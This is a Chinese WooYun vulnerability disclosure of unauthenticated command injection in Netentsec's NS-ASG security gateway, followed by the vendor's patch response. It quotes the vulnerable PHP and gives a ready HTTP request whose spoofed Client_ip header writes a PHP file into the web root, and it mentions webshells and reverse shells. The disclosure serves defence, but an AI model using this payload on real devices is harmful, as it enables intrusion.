当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-058934

漏洞标题:网康 NS-ASG 应用安全网关远程代码执行

相关厂商:网康科技

漏洞作者: 狗狗侠

提交时间:2014-04-30 11:25

修复时间:2014-07-29 11:26

公开时间:2014-07-29 11:26

漏洞类型:远程代码执行

危害等级:高

自评Rank:20

漏洞状态:厂商已经修复

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-04-30: 细节已通知厂商并且等待厂商处理中
2014-05-01: 厂商已经确认,细节仅向厂商公开
2014-06-25: 细节向核心白帽子及相关领域专家公开
2014-07-05: 细节向普通白帽子公开
2014-07-15: 细节向实习白帽子公开
2014-07-29: 厂商已经修复漏洞并主动公开,细节向公众公开

简要描述:

第三弹准时来了。。乌云不错。。。

详细说明:

剑总 疯狗叔叔。。。乌云还会给力吧?
那我就再来几蛋。。
无需登录即可利用
0x01 在网关首页index.php处

<?
include("include/common.inc");
unset($_SESSION['parastr']);
$par = substr($_SERVER['REQUEST_URI'],1);
if($par=="")
{
$par="index";
}
if(strpos($par,".php"))
{
$par=substr($par,0,-4);
}
$remote_ip = GetIP();//跟踪该函数
$dbh = db_connect();
$query = "select ItemValue from Configure where ItemName='AutoRouteIn'";
$res = db_query($dbh, $query, '查询接入选路开关');
list($autoroutein) = db_fetch_row($res);
if($autoroutein == 'yes') //选路开关已打开
{
$query = "select ItemValue from Configure where ItemName='AutoRouteInConf'";
$res = db_query($dbh, $query, '查询接入选路开关');
list($autorouteinconf) = db_fetch_row($res);
$routeinarr = explode(",", $autorouteinconf);
$diffArr = array();

for($i=0; $i<count($routeinarr); $i++)
{
unset($r1);
unset($r2);
exec("/bin/ping -I ".$routeinarr[$i]." ".$remote_ip." -c 1", $r1, $r2);//漏洞触发点
if(!$r2)


我们跟踪下GetIP()函数
在include/common.in中78行

function GetIP()
{
if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))
$ip = getenv("HTTP_CLIENT_IP");
else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))
$ip = getenv("HTTP_X_FORWARDED_FOR");
else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))
$ip = getenv("REMOTE_ADDR");
else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"))
$ip = $_SERVER['REMOTE_ADDR'];
else
$ip = "unknown";
if($ip == '127.0.0.1')
$ip = $_SERVER["HTTP_ISC_CLIENT_ADDRESS"];
return($ip);
}


这里可以伪造IP了
通过伪造的ip传送到

exec("/bin/ping -I ".$routeinarr[$i]." ".$remote_ip." -c 1", $r1, $r2);//漏洞触发点


这里即可触发漏洞,直接写shell(网康防火墙默认路径/Isc/third-party/httpd/htdocs/)或者反弹shell。。都可以...
伪造ip为:|| echo "<?php phpinfo();?>" > /Isc/third-party/httpd/htdocs/test.php||
即可将phpinfo()写入到防火墙当中
如下即可写shell

GET /index.php HTTP/1.1
Host: 211.68.223.12
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:28.0) Gecko/20100101 Firefox/28.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Client_ip: || echo "<?php phpinfo();?>" > /Isc/third-party/httpd/htdocs/test.php||
Cookie: PHPSESSID=eab5c07307cc005326b12e190f129509
Connection: keep-alive
Cache-Control: max-age=0

漏洞证明:

GET /index.php HTTP/1.1
Host: 211.68.223.12
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:28.0) Gecko/20100101 Firefox/28.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Client_ip: || echo "<?php phpinfo();?>" > /Isc/third-party/httpd/htdocs/test.php||
Cookie: PHPSESSID=eab5c07307cc005326b12e190f129509
Connection: keep-alive
Cache-Control: max-age=0

修复方案:

这个。。。。还是尽量修吧

版权声明:转载请注明来源 狗狗侠@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2014-05-01 22:03

厂商回复:

4月29日,网康收到CNVD漏洞细节通知,迅速启动并同时展开了以下工作:
1.进一步验证漏洞细节,目前已确认所曝漏洞确实存在于ASG产品;
2.对全线产品进行安全自查,重点确认ASG产品是否仍存其它未知漏洞,并验证类似漏洞是否同存于其它产品线,截至目前,自查工作仍在进行中,全线产品暂未发现新的漏洞;
3.开发用于漏洞修补的更新程序,将尽快发布应急补丁包,介时用户可通过操作设备管理界面直接安装该更新程序以对所曝漏洞进行应急性修补;
4.售后服务部通过内部CRM系统导出全部ASG用户名单,并开始逐一联系用户通报漏洞情况,补丁包发布后,将再次逐一通知所有用户及时安装更新,此项工作预计3工作日内完成;
5.为避免统计疏漏,工程部于4月30日16:00向CNVD共享了在线ASG设备的辨识方法,将配合CNVD共同开展在线设备的主动探测工作,一旦发现未更新补丁的在线设备,将联系并协助用户及时更新,此项工作预计10工作日内完成;
6.将尽快向社会开放漏洞提交邮箱,接受第三方机构、白帽子及其它组织、个人向网康提交产品漏洞,向所有帮助网康产品进步的组织和人士表示感谢。

最新状态:

2014-07-17:已随版本更新解决